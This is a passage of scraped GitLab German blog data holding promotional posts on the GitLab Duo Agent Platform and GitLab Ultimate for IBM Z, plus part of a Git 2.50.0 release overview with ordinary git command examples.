kannst, die dich inspiriert. \n\n**Es geht dabei nicht darum, Entwickler(innen) zu ersetzen. Es geht darum, die menschliche Kreativität und das Fachwissen zu verstärken, indem Routineaufgaben vereinfacht werden.** Das ist die Zukunft, die wir mit der GitLab Duo Agent Platform gestalten.\n\n## Was ist die GitLab Duo Agent Platform?\n\nDie GitLab Duo Agent Platform ermöglicht eine umfassende Zusammenarbeit zwischen Entwickler(inne)n und [KI-Agenten](https://about.gitlab.com/de-de/topics/agentic-ai/) über den gesamten Software-Entwicklungsprozess hinweg, um Teams dabei zu helfen, ihre Produktivität zu steigern und die Bearbeitungszeit drastisch zu verkürzen. \n\nDie GitLab Duo Agent Platform basiert auf der sicheren Grundlage von GitLab und ist anpassbar und erweiterbar. Sie ermöglicht es Entwickler(inne)n, Agenten zu erstellen, die alle Arten von Software-Engineering-Problemen lösen können und dabei den Kontext über den gesamten Software-Entwicklungsprozess hinweg nutzen. \n\nDie GitLab Duo Agent Platform bietet mehr als nur die Erstellung von Code. Mit spezialisierten Agenten und benutzerdefinierten Workflows unterstützt sie eine nahezu unbegrenzte Anzahl von Aktivitäten, darunter:\n\n* Implementierung von Tickets  \n* Groß angelegte Migrationen/Upgrades von Abhängigkeiten  \n* Automatisierte Erstellung von Dokumentationen/Veröffentlichungsbeiträge  \n* Fehlerbehebung bei fehlgeschlagenen CI/CD-Pipelines  \n* Unterstützung bei der Untersuchung von Vorfällen  \n* Detaillierte Recherche zu Status und Informationsbeschaffung zu festgelegten Themen  \n* Verwaltung von Backlogs  \n* Behebung von Sicherheitslücken  \n* Reviews für bestimmte Arten von Code (z. B. Datenbanken)  \n* Schnelle interne Toolerstellung auf Basis vorhandener Build-Blöcke  \n* und vieles mehr! \n\nDu kannst unsere Agenten sofort einsetzen, anpassen und erweitern. Wir testen die GitLab Duo Agent Platform derzeit mit Dutzenden von Kund(inn)en und werden bald mehr Teams den Zugang zur Beta-Version ermöglichen. \n\nSieh dir die GitLab Duo Agent Platform in Aktion an:\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1095679084?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Agent Platform Demo Clip\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Wähle deine Tools, deine Modelle und deine Agenten\n\nDa GitLab eine offene Plattform ist, arbeiten GitLab-Agenten nahtlos mit den von dir gewählten Entwicklertools zur Codeerstellung über das Standard Model Context Protocol (MCP) und das Agent-to-Agent-Framework (A2A) zusammen, unabhängig davon, ob du Cursor, Claude Code, Windsurf, OpenAI Codex oder andere Tools verwendest. \n\nDie Plattform akzeptiert Codebeiträge von jedem Entwicklungstool in deinem Stack, unabhängig davon, ob der Code von einem Menschen geschrieben oder von einem KI-Agenten generiert wurde. Das bedeutet, dass deine vorhandenen Workflows und bevorzugten Tools weiterhin nahtlos funktionieren, wenn du Agentenfunktionen integrierst.\n\nDie GitLab Duo Agent Platform funktioniert mit jedem zugelassenen Sprachmodell, das [unsere Auswahlkriterien erfüllt](https://about.gitlab.com/de-de/ai-transparency-center/#ai-continuity-plan). Für Unternehmen mit strengen Sicherheitsanforderungen unterstützt die Plattform genehmigte, selbst gehostete Modelle, die in vollständig isolierten Umgebungen ausgeführt werden. Deine Infrastrukturanforderungen und Sicherheitsrichtlinien schränken deine Möglichkeiten, von der agentischen Entwicklung zu profitieren, nicht ein.\n\n## Kontext ist alles, und deine GitLab-Duo-Agenten kennen ihn\n\nDer Unterschied zwischen einem hilfreichen KI-Tool und einem wirklich intelligenten Agenten liegt im Kontext. Mit der GitLab Duo Agent Platform arbeiten die Agenten nicht isoliert, sondern sind tief in die Plattform integriert, auf der die Entwicklungsarbeit stattfindet.\n\nJeder Agent kennt automatisch das Gesamtbild deiner Projekte, einschließlich deiner offenen Tickets und deren Verlauf, der Merge Requests, die sie gelöst haben, der Struktur und der Logik hinter deinem Code, deiner CI/CD-Pipeline-Konfigurationen, der Sicherheitserkenntnisse, der Konformitätsanforderungen und der komplexen Beziehungen zwischen all diesen Komponenten.\n\nGenau wie deine menschlichen Teammitglieder verfügen die Agenten über den gesamten Kontext, um dir zu helfen, sichere Software schneller bereitzustellen. Anstatt nur Fragen zum Code zu beantworten, können sie Einblicke geben, wie sich eine vorgeschlagene Änderung auf deine Bereitstellungspipeline auswirken könnte, oder Sicherheitsverbesserungen auf der Grundlage deiner bestehenden Compliance-Regeln vorschlagen. Wir sind der Meinung, dass deine Agenten umso intelligenter werden, je mehr dein Team innerhalb der DevSecOps-Plattform von GitLab arbeitet.\n\n## Behalte die Kontrolle, während die Agenten dein Team skalieren\n\nDer Aufbau von Vertrauen in KI-Agenten unterscheidet sich nicht grundlegend vom Aufbau von Vertrauen in neue Teammitglieder. Du musst ihre Arbeit sehen, ihren Ansatz verstehen und ihre Verantwortung schrittweise erhöhen, wenn sie ihre Kompetenz unter Beweis stellen.\n\nDas ist die Philosophie hinter unserem Workflow zum Agenten-Approval. Bevor ein Agent Änderungen an deinem Code oder deiner Umgebung vornimmt, legt er dir einen klaren Plan vor: Er zeigt auf, was er über das Ticket weiß, welchen Ansatz er verfolgen wird und welche spezifischen Aktionen er ausführen möchte. Du hast dann die Möglichkeit, den Plan zu überprüfen, zu genehmigen oder bei Bedarf anzupassen. Wenn die Agenten konsequent qualitativ hochwertige Arbeit leisten, kannst du ihnen im Laufe der Zeit mehr Autonomie für Routineaufgaben gewähren und gleichzeitig die Kontrolle über komplexe oder kritische Arbeiten behalten.\n\n## Entwickelt für Community und Anpassung\n\nGitLab hat schon immer von den Beiträgen der Community profitiert, und dieses Jahr war ein Meilenstein mit einer rekordverdächtig hohen Zahl an Kundenbeiträgen zu unserer Plattform. Jetzt übertragen wir diese kollaborative Energie durch unseren offenen Framework-Ansatz auf KI-Agenten.\n\nBei der GitLab Duo Agent Platform geht es nicht nur um die Agenten, die wir entwickeln, sondern darum, dich und die breitere Community in die Lage zu versetzen, spezialisierte Agenten zu erstellen, die deine einzigartigen technischen Herausforderungen lösen. Egal, ob du einen Agenten benötigst, der deine spezifischen Programmierstandards versteht, sich in deine benutzerdefinierte Toolchain integrieren lässt oder domänenspezifische Aufgaben erledigt, die Plattform bietet dir die Bausteine, um dies zu erreichen.\n\nDieses auf die Community ausgerichtete Modell schafft einen positiven Kreislauf, der die Stärke der GitLab-Community durch globalen Austausch nutzt, ähnlich wie unser [CI/CD-Katalog (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/). Vielfältige Anwendungsfälle aus der Praxis treiben Innovationen voran. Feedback von Unternehmen sorgt für Zuverlässigkeit und Sicherheit. Und gemeinsame Lösungen kommen allen zugute. Es ist derselbe kollaborative Ansatz, der GitLab erfolgreich gemacht hat und nun auf die neuesten Entwicklungen im Bereich der Agentenentwicklung angewendet wird.\n\n## Erste Schritte\n\nWenn du mit [GitLab Duo Agentic Chat](https://about.gitlab.com/de-de/blog/gitlab-duo-chat-gets-agentic-ai-makeover/) experimentiert hast, das jetzt in jeder Premium- und Ultimate-GitLab.com-Benutzerlizenz von GitLab 18 enthalten ist, hast du bereits einen Vorgeschmack darauf bekommen, was mit KI-Agenten in deinem Entwicklungsworkflow möglich ist. \n\nWas die GitLab Duo Agent Platform kann und woran wir arbeiten, kannst du dir in den [Demos der Aufzeichnung unseres Release-Events von GitLab 18 Release-Events](https://about.gitlab.com/de-de/eighteen/) ansehen. \n\nMöchtest du zu den Ersten gehören, die es erleben? Dann melde dich für die [Beta-Warteliste für die GitLab Duo Agent Platform (nur in englischer Sprache verfügbar)](https://about.gitlab.com/gitlab-duo/agent-platform/) an. In diesem Sommer werden wir mehr Teams den Zugang ermöglichen und im Laufe des Jahres werden neue Agentenfunktionen in den kommenden Releases von GitLab 18 veröffentlicht. Wir erwarten die allgemeine Verfügbarkeit im Winter.\n\n*Haftungsausschlussklausel: Dieser Blogbeitrag enthält Informationen zu kommenden Produkten, Funktionen und Funktionalitäten. Bitte beachte, dass die Informationen auf dieser Seite nur zu Informationszwecken dienen. Bitte verlasse dich nicht auf diese Informationen, wenn du etwas kaufen oder planen möchtest. Wie bei allen Projekten können sich die hier und auf den verlinkten Seiten genannten Punkte ändern oder verzögern. Die Entwicklung, Freigabe und der Zeitplan von Produkten, Funktionen oder Funktionalitäten liegen im alleinigen Ermessen von GitLab Inc.*\n\n## Mehr erfahren\n\n* [Vom Vibe Coding zur agentischen KI: Eine Roadmap für technische Führungskräfte (nur in englischer Sprache verfügbar)](https://about.gitlab.com/the-source/ai/from-vibe-coding-to-agentic-ai-a-roadmap-for-technical-leaders/)\n* [Was ist agentische KI?](https://about.gitlab.com/de-de/topics/agentic-ai/)\n* [DevOps-Automatisierung und KI-Agenten (nur in englischer Sprache verfügbar)](https://about.gitlab.com/topics/agentic-ai/devops-automation-ai-agents/)\n* [KI-gestützte Softwareentwicklung: Agentische KI für DevOps (nur in englischer Sprache verfügbar)](https://about.gitlab.com/topics/agentic-ai/ai-augmented-software-development/)\n* [KI-gestützte Codeanalyse: Die neue Grenze der Codesicherheit (nur in englischer Sprache verfügbar)](https://about.gitlab.com/topics/agentic-ai/ai-code-analysis/)",[787],{"featured":92,"template":682,"slug":1347},"gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops","content:de-de:blog:gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops.yml","Gitlab Duo Agent Platform What Is Next For Intelligent Devsecops","de-de/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops.yml","de-de/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops",{"_path":1353,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1354,"content":1357,"config":1366,"_id":1368,"_type":16,"title":1369,"_source":17,"_file":1370,"_stem":1371,"_extension":20},"/de-de/blog/gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes",{"noIndex":6,"description":1355,"title":1356},"Ein neues Angebot von GitLab und IBM überbrückt Mainframe- und Cloud-native-Entwicklung mit nahtloser Integration, CI/CD-Runner-Unterstützung, End-to-End-Transparenz und Kosteneffizienz.","GitLab Ultimate für IBM Z: Moderne DevSecOps für Mainframes",{"heroImage":1358,"body":1359,"authors":1360,"updatedDate":1363,"date":1364,"title":1356,"tags":1365,"description":1355,"category":680},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750440008/myqt5vcjlffh8sszw507.png","GitLab und IBM haben sich zusammengeschlossen, um eine grundlegende Diskrepanz in der Unternehmensentwicklung zu lösen: Mainframe-Entwickler(innen) sollen mit denselben modernen Tools, Workflows und Kollaborationsfunktionen arbeiten können wie ihre Kolleg(inn)en in verteilten Umgebungen.\n\nGitLab Ultimate für IBM Z, eine von GitLab zertifizierte, integrierte DevSecOps-Lösung, die speziell für die Mainframe-Umgebung entwickelt wurde, macht genau das möglich: Sie ermöglicht es Unternehmen, ihre Mainframe-Entwicklungsworkflows zu modernisieren, indem eine nahtlose Migration von veralteten Legacy-Bibliotheksmanagern erleichtert wird. Mit CI/CD-Pipelines, die nativ auf IBM z/OS laufen, erleben Kund(inn)en beschleunigte Innovation und reduzierte Betriebskosten.\n\n## Herausforderungen der heutigen Mainframe-Entwicklung\n\nUnternehmen, die IBM Z-Systeme für geschäftskritische Workloads einsetzen, stehen vor Herausforderungen, für die herkömmliche DevSecOps-Tools nicht ausgestattet sind. Cloud-native Teams profitieren von modernen [CI/CD](https://about.gitlab.com/topics/ci-cd/)-Pipelines, kollaborativer Entwicklung und automatisierten Tests. Im Gegensatz dazu werden Mainframe-Teams oft zurückgelassen – sie stecken mit veralteten Tools fest, die zu kostspieligen Ineffizienzen und operativen Silos führen.\n\nTeams greifen oft auf Workarounds zurück, wie SSH-Verbindungen und manuelle Dateiübertragungen, die Sicherheitslücken schaffen und Audits erschweren. Wenn Compliance-Anforderungen streng sind, werden diese improvisierten Lösungen zu inakzeptablen Risiken. Gleichzeitig unterhalten Organisationen teure parallele Toolchains, wobei Legacy-Mainframe-Entwicklungstools Premium-Lizenzkosten verursachen, während sie im Vergleich zu modernen Alternativen nur eingeschränkte Funktionalität bieten.\n\nDiese Fragmentierung schafft zwei Probleme: langsamere Bereitstellungszyklen und Schwierigkeiten bei der Rekrutierung von Entwickler(inne)n, die modernste Prozesse erwarten.\n\n> **„GitLab Ultimate für IBM Z stellt einen wichtigen Schritt zur Bewältigung einer langjährigen Branchenherausforderung dar. IDC-Forschung zeigt, dass Mainframe-Entwickler(innen) oft mit Legacy-Tools arbeiten, die zu Bereitstellungsineffizienzen beitragen und es schwieriger machen, neue Talente anzuziehen. Mit diesem Angebot werden moderne DevSecOps-Fähigkeiten und einheitliche Workflows direkt auf den Mainframe gebracht. Dies befähigt Entwickler(innen), kollaborativer und effizienter zu arbeiten, während es Organisationen hilft, Innovation zu beschleunigen und Mainframe-Entwicklung in breitere digitale Transformationsstrategien zu integrieren.\"** - Katie Norton, Research Manager, DevSecOps und Software Supply Chain Security bei IDC\n\n## Vereinheitlichte Entwicklungsumgebungen\n\nWahre Modernisierung bedeutet mehr als nur die Aktualisierung der Mainframe-Entwicklung. Es bedeutet, eine einheitliche Plattform zu schaffen, auf der Mainframe-, Cloud-native-, Web- und Mobile-Entwicklungsteams nahtlos zusammenarbeiten.\n\nGitLab Ultimate für IBM Z ermöglicht es Entwickler(inne)n, konsistente Workflows zu verwenden, unabhängig davon, ob sie auf z/OS, Cloud oder On-Premises-Infrastruktur bereitstellen – Wissen wird zwischen Teams übertragen, anstatt in Silos zu verbleiben. Organisationen können schrittweise modernisieren, ohne Geschäftsunterbrechungen, da Legacy-Systeme weiterhin funktionieren, während Teams moderne Praktiken in ihrem eigenen Tempo übernehmen.\n\nWährend Organisationen Hybrid-Cloud-Strategien verfolgen, bietet GitLab die Grundlage für Anwendungen, die sich über Mainframe- und Cloud-native-Umgebungen erstrecken.\n\n## Was ist GitLab Ultimate für IBM Z?\n\nGitLab Ultimate für IBM Z bietet native z/OS-Runner-Unterstützung und ermöglicht eine nahtlose CI/CD-Pipeline-Ausführung direkt auf Ihrer Mainframe-Infrastruktur. Diese von GitLab zertifizierte Lösung hilft, die Notwendigkeit komplexer Workarounds zu eliminieren und gleichzeitig die Sicherheit und Zuverlässigkeit zu gewährleisten, die Ihre Unternehmensanwendungen erfordern.\n\nDie Kombination aus GitLabs umfassender DevSecOps-Plattform und IBMs tiefgreifender Mainframe-Expertise schafft etwas Einzigartiges auf dem Markt: eine zertifizierte Lösung, die eine echte Brücke zwischen unternehmenskritischen Legacy-Systemen und Cloud-nativer Innovation bietet.\n\n## GitLab Ultimate für IBM Z Funktionen\n\nGitLab Ultimate für IBM Z bietet Unternehmensteams die Tools, die sie benötigen, um die Mainframe-Entwicklung zu modernisieren und gleichzeitig kritische Geschäftssysteme zu erhalten.\n\n**Native z/OS-Runner-Unterstützung** hilft, Sicherheitsrisiken und Skalierbarkeitsengpässe im Zusammenhang mit Remote-Verbindungen zu eliminieren, während die Bereitstellung durch CI/CD-Pipelines beschleunigt wird, die direkt dort ausgeführt werden, wo sich Ihr Mainframe-Code befindet.\n\n**Einheitliches Source Code Management** modernisiert Toolchains, indem teure Legacy-Bibliotheksmanager durch GitLabs durchsuchbares, versionskontrolliertes Repository-System ersetzt werden, was zur Reduzierung von Lizenzkosten und Wartungsaufwand beiträgt.\n\n**Nahtlose Integration** mit IBM Developer for z/OS Enterprise Edition (IDzEE) liefert schnellere Software-Releases durch abhängigkeitsbasierte Builds, automatisiertes Code-Scanning und umfassende Debugging-Tools in vertrauten Entwicklerumgebungen, wodurch sowohl Qualität als auch Sicherheit verbessert werden.\n\n**End-to-End-Transparenz** über Mainframe- und verteilte Umgebungen hinweg bietet umfassendes Projektmanagement von der Planung bis zur Produktion und ermöglicht automatisierte DevOps-Workflows, die durch moderne Entwicklungstools der nächsten Generation zur Talentbindung beitragen.\n\n## Modernisiere deine Mainframe-Entwicklungsumgebung noch heute\n\nGitLab Ultimate für IBM Z ist jetzt für Organisationen verfügbar, die bereit sind, ihre Mainframe-Entwicklungserfahrung zu transformieren. Weitere Informationen befinden sich auf der [GitLab und IBM Partnerseite](https://about.gitlab.com/de-de/partners/technology-partners/ibm/).",[1361,1362],"Mike Flouton","Andy Bradfield","2025-06-23","2025-06-20",[285,680,110,787],{"featured":92,"template":682,"slug":1367},"gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes","content:de-de:blog:gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes.yml","Gitlab Ultimate For Ibm Z Modern Devsecops For Mainframes","de-de/blog/gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes.yml","de-de/blog/gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes",{"_path":1373,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1374,"content":1377,"config":1384,"_id":1386,"_type":16,"title":1387,"_source":17,"_file":1388,"_stem":1389,"_extension":20},"/de-de/blog/what-s-new-in-git-2-50-0",{"noIndex":6,"title":1375,"description":1376},"GitLab: Was gibt es Neues in Git 2.50.0?","Beiträge des Git-Teams von GitLab und der Git-Community, inklusive des Befehls git-diff-pairs(1) und der Option git-rev-list(1) für gebündelte Referenz-Updates.",{"title":1378,"description":1376,"authors":1379,"heroImage":1025,"body":1381,"date":1382,"category":1033,"tags":1383},"Was gibt es Neues in Git 2.50.0?",[1380],"Justin Tobler","Das Git-Projekt hat kürzlich\n\n[Git Version 2.50.0](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/#u)\n\nveröffentlicht. Werfen wir einen Blick auf die Highlights dieser\n\nVeröffentlichung, die Beiträge des Git-Teams von GitLab und der gesamten\n\nGit-Community enthält.\n\n\n\n## Neuer Befehl git-diff-pairs(1)\n\n\n\nDiffs sind das Herzstück jeder Code Review und zeigen alle Änderungen, die zwischen zwei Revisionen vorgenommen wurden. GitLab zeigt Diffs an verschiedenen Stellen an, am häufigsten aber auf der [Registerkarte „Änderungen“ (in englischer Sprache verfügbar)](https://docs.gitlab.com/user/project/merge_requests/changes/) eines Merge Requests.\n\n\n\nIm Hintergrund wird die Diff-Generierung von [`git-diff(1)`](https://git-scm.com/docs/git-diff/de) verwendet. Ein Beispiel:\n\n\n\n```shell\n\n\n$ git diff HEAD~1 HEAD\n\n\n```\n\n\n\nDieser Befehl gibt das vollständige Diff für alle geänderten Dateien zurück. Dies kann eine Herausforderung für die Skalierbarkeit darstellen, vor allem, wenn die Anzahl der Dateien, die innerhalb einer Reihe von Revisionen geändert wurden, sehr groß ist. Dies kann dazu führen, dass der Befehl selbst auferlegte Zeitlimits für das GitLab-Backend erreicht. Bei großen Änderungen wäre es besser, wenn\n\n\nes eine Möglichkeit gäbe, die Diff-Berechnung in kleinere, leichter verarbeitbare Blöcke zu unterteilen.\n\n\n\nEine Möglichkeit dafür ist die Verwendung von\n\n\n[`git-diff-tree(1)` (in englischer Sprache verfügbar)](https://git-scm.com/docs/git-diff-tree), um Informationen\n\n\nüber alle geänderten Dateien abzurufen:\n\n\n\n```shell\n\n\n$ git diff-tree -r -M --abbrev HEAD~ HEAD\n\n\n:100644 100644 c9adfed339 99acf81487 M      Documentation/RelNotes/2.50.0.adoc\n\n\n:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN\n\n\n```\n\n\n\nGit bezeichnet diese Ausgabe als [„unbearbeitetes“ Format (in englischer Sprache verfügbar)](https://git-scm.com/docs/git-diff-tree#_raw_output_format).\n\n\nKurz gesagt, listet jede Zeile der Ausgabe Dateipaare und die dazugehörigen Metadaten\n\n\ndarüber auf, was sich zwischen dem Anfangscode und der letzten Revision geändert hat. Im Vergleich zur\n\n\nErzeugung der „Patch“-Ausgabe für große Änderungen verläuft dieser Prozess relativ\n\n\nschnell und liefert eine Zusammenfassung aller Änderungen. Dieser Befehl kann optional eine Umbenennungserkennung durchführen, indem das Flag `-M` angehängt wird. So kannst du überprüfen, ob identifizierte Änderungen auf eine Dateiumbenennung zurückzuführen sind.\n\n\n\nMit diesen Informationen könnten wir `git-diff(1)` verwenden, um jedes der\n\n\nDateipaar-Diffs einzeln zu erstellen. Zum Beispiel können wir die Blob-IDs\n\n\ndirekt angeben:\n\n\n\n```shell\n\n\n$ git diff 1047b8d11de767d290170979a9a20de1f5692e26 208e91a17f04558ca66bc19d73457ca64d5385f\n\n\n```\n\n\n\nWir können diesen Vorgang für jedes der Dateipaare wiederholen, aber es ist nicht sehr effizient, für jede einzelne Datei einen\n\n\nseparaten Git-Prozess zu starten.\n\n\nAußerdem verliert das Diff bei der Verwendung von Blob-IDs einige Kontextinformationen,\n\n\nwie den Änderungsstatus und die Dateimodi, die im übergeordneten\n\n\nBaumobjekt gespeichert sind. Was wir wirklich möchten, ist ein Mechanismus, um „unbearbeitete“ Dateipaarinformationen einzuspeisen und\n\n\ndie entsprechende Patch-Ausgabe zu generieren.\n\n\n\nMit der Version 2.50 bietet Git einen neuen integrierten Befehl mit der Bezeichnung\n\n\n[`git-diff-pairs(1)` (in englischer Sprache verfügbar](https://git-scm.com/docs/git-diff-pairs). Dieser Befehl\n\n\nakzeptiert „unbearbeitete“ formatierte Dateipaarinformationen als Eingabe auf stdin, um exakt zu bestimmen, welche Patches ausgegeben werden sollen. Das folgende Beispiel zeigt, wie dieser Befehl\n\n\nverwendet werden kann:\n\n\n\n```shell\n\n\n$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs -z\n\n\n```\n\n\n\nBei dieser Nutzung ist die resultierende Ausgabe identisch mit der Verwendung von `git-diff(1)`.\n\n\nDurch einen separaten Befehl zur Generierung der Patch-Ausgabe kann die „unbearbeitete“ Ausgabe von\n\n\n`git-diff-tree(1)` in kleinere Chargen von Dateipaaren aufgeteilt und separaten\n\n\n`git-diff-pairs(1)`-Prozessen zugeführt werden. Dies löst das zuvor erwähnte\n\n\nSkalierbarkeitsproblem, da die Diffs nicht länger alle auf einmal berechnet werden müssen. Zukünftige\n\n\nGitLab-Versionen könnten auf diesem Mechanismus aufbauen, um die Leistung der\n\n\nDiff-Generierung zu verbessern, insbesondere wenn es sich um große Änderungssätze\n\n\nhandelt. Weitere Informationen zu dieser Änderung findest du im entsprechenden\n\n\n[Mailinglisten-Thread](https://lore.kernel.org/git/20250228213346.1335224-1-jltobler@gmail.com/).\n\n\n\n*Dieses Projekt wurde von [Justin Tobler](https://gitlab.com/justintobler) geleitet.*\n\n\n> **Über 6,4 Mio. Builds pro Monat: So transformiert Siemens seine Softwareentwicklung mit GitLab** Über 40.000 Entwickler(innen) bei Siemens nutzen GitLab, um weltweit zusammenzuarbeiten und jeden Monat mehr als 6,4 Millionen Software-Versionen automatisch bereitzustellen. Erfahre, wie eine offene DevOps-Kultur und eine zentrale Plattform die Effizienz und Sicherheit steigern. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/siemens/)\n\n\n## Gesammelte Referenz-Updates\n\n\n\nMit dem Git-Befehl [`git-update-ref(1)` (in englischer Sprache verfügbar)](https://git-scm.com/docs/git-update-ref)\n\n kannst du Referenzaktualisierungen durchführen. Bei Verwendung mit dem Flag `--stdin` können\n\nmehrere Referenzaktualisierungen in einer einzigen Transaktion gebündelt werden, indem Anweisungen für jede Referenzaktualisierung\n\n\nangegeben werden, die auf stdin durchgeführt werden soll.\n\n\nDie Massenaktualisierung von Referenzen auf diese Weise zeigt auch ein atomares Verhalten, bei dem ein\n\n\neinzelner Fehler bei der Referenzaktualisierung eine Transaktion abbricht und\n\n\nReferenzen nicht aktualisiert werden. Hier ist ein Beispiel für dieses Verhalten:\n\n\n\n```shell\n\n\n# Erstelle ein Repository mit drei leeren Commits und einem Branch mit dem Namen „foo“\n\n\n$ git init\n\n\n$ git commit --allow-empty -m 1\n\n\n$ git commit --allow-empty -m 2\n\n\n$ git commit --allow-empty -m 3\n\n\n$ git branch foo\n\n\n\n# Gib die Commit-IDs aus\n\n\n$ git rev-list HEAD\n\n\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n\n5a6b339a8ebffde8c0590553045403dbda831518\n\n\n\n# Versuche, eine neue Referenz zu erstellen und die vorhandene Referenz in der Transaktion zu aktualisieren.\n\n\n# Es wird erwartet, dass die Aktualisierung fehlschlägt, da die angegebene alte Objekt-ID nicht richtig ist.\n\n\n$ git update-ref --stdin \u003C\u003CEOF\n\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n\n> EOF\n\n\nfatal: cannot lock ref 'refs/heads/foo': is at cf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n\n\n# Die Referenz „bar“ wurde nicht erstellt.\n\n\n$ git switch bar\n\n\nfatal: invalid reference: bar\n\n\n```\n\n\n\nIm Vergleich zur einzelnen Aktualisierung vieler Referenzen ist die Massenaktualisierung\n\n\nauch viel effizienter. Das ist zwar grundsätzlich eine gute Lösung, aber es kann bestimmte\n\n\nUmstände geben, unter denen es akzeptabel ist, wenn ein Teil der angeforderten Referenzaktualisierungen\n\n\nfehlschlägt, wir aber dennoch die Effizienzvorteile von\n\n\nMassenaktualisierungen nutzen möchten.\n\n\n\nAb dieser Version verfügt `git-update-ref(1)` über die neue Option `--batch-updates`, mit\n\n\nder die Aktualisierungen auch dann fortgesetzt werden können, wenn eine oder mehrere Referenzaktualisierungen\n\n\nfehlschlagen. In diesem Modus werden einzelne Fehler im folgenden Format gemeldet:\n\n\n\n```text\n\n\nrejected SP (\u003Cold-oid> | \u003Cold-target>) SP (\u003Cnew-oid> | \u003Cnew-target>) SP \u003Crejection-reason> LF\n\n\n```\n\n\n\nDadurch können erfolgreiche Referenzaktualisierungen fortgesetzt werden, während gleichzeitig angegeben wird, unter welchen Umständen Aktualisierungen abgelehnt wurden und aus welchem Grund. Wir verwenden noch einmal das gleiche beispielhafte Repository wie im vorherigen Beispiel:\n\n\n\n```shell\n\n\n# Versuche, eine neue Referenz zu erstellen und die vorhandene Referenz in der Transaktion zu aktualisieren.\n\n\n$ git update-ref --stdin --batch-updates \u003C\u003CEOF\n\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c\n\n\n> EOF\n\n\nrejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided\n\n\n\n# Die Referenz „bar“ wurde erstellt, obwohl die Aktualisierung auf „foo“ abgelehnt wurde.\n\n\n$ git switch bar\n\n\nSwitched to branch 'bar'\n\n\n```\n\n\n\nMit der Option `--batch-updates` war die Referenzerstellung diesmal erfolgreich,\n\n\nobwohl die Aktualisierung nicht funktioniert hat. Diese Patch-Serie legt den Grundstein für\n\n\nzukünftige Leistungsverbesserungen in `git-fetch(1)` und `git-receive-pack(1)`,\n\n\nwenn Referenzen in großer Zahl aktualisiert werden. Weitere Informationen findest du im\n\n\n[Mailinglisten-Thread](https://lore.kernel.org/git/20250408085120.614893-1-karthik.188@gmail.com/)\n\n\n\n*Dieses Projekt wurde von [Karthik Nayak](https://gitlab.com/knayakgl) geleitet.*\n\n\n\n## Neue Filteroption für git-cat-file(1)\n\n\n\nMit [`git-cat-file(1)` (in englischer Sprache verfügbar)](https://git-scm.com/docs/git-cat-file) ist es möglich,\n\n\nInformationen für alle im Repository enthaltenen Objekte über die Option\n\n\n`--batch–all-objects` auszugeben. Zum Beispiel:\n\n\n\n```shell\n\n\n# Richte ein einfaches Repository ein.\n\n\n$ git init\n\n\n$ echo foo >foo\n\n\n$ git add foo\n\n\n$ git commit -m init\n\n\n\n# Erstelle ein nicht erreichbares Objekt.\n\n\n$ git commit --amend --no-edit\n\n\n\n# Verwende git-cat-file(1), um Informationen über alle Objekte einschließlich nicht erreichbarer Objekte auszugeben.\n\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)'\n\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\n\ntree 205f6b799e7d5c2524468ca006a0131aa57ecce7\n\n\nblob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99\n\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n\n```\n\n\n\nIn einigen Situationen möchte ein(e) Benutzer(in) möglicherweise alle Objekte im\n\n\nRepository durchsuchen, aber nur eine Teilmenge basierend auf einem bestimmten Attribut ausgeben. Wenn\n\n\nwir beispielsweise nur die Objekte anzeigen möchten, die Commits sind, könnten wir\n\n\n`grep(1)` verwenden:\n\n\n\n```shell\n\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' | grep ^commit\n\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n\n```\n\n\n\nDas funktioniert zwar, aber ein Nachteil beim Filtern der Ausgabe ist, dass\n\n\n`git-cat-file(1)` nach wie vor alle Objekte im Repository durchlaufen muss, auch\n\n\ndiejenigen, an denen wir nicht interessiert sind. Dies kann ziemlich ineffizient sein.\n\n\n\nMit dieser Version verfügt `git-cat-file(1)` jetzt über die Option `--filter`, die nur jene Objekte\n\n\nanzeigt, die den angegebenen Kriterien entsprechen. Dies ähnelt der 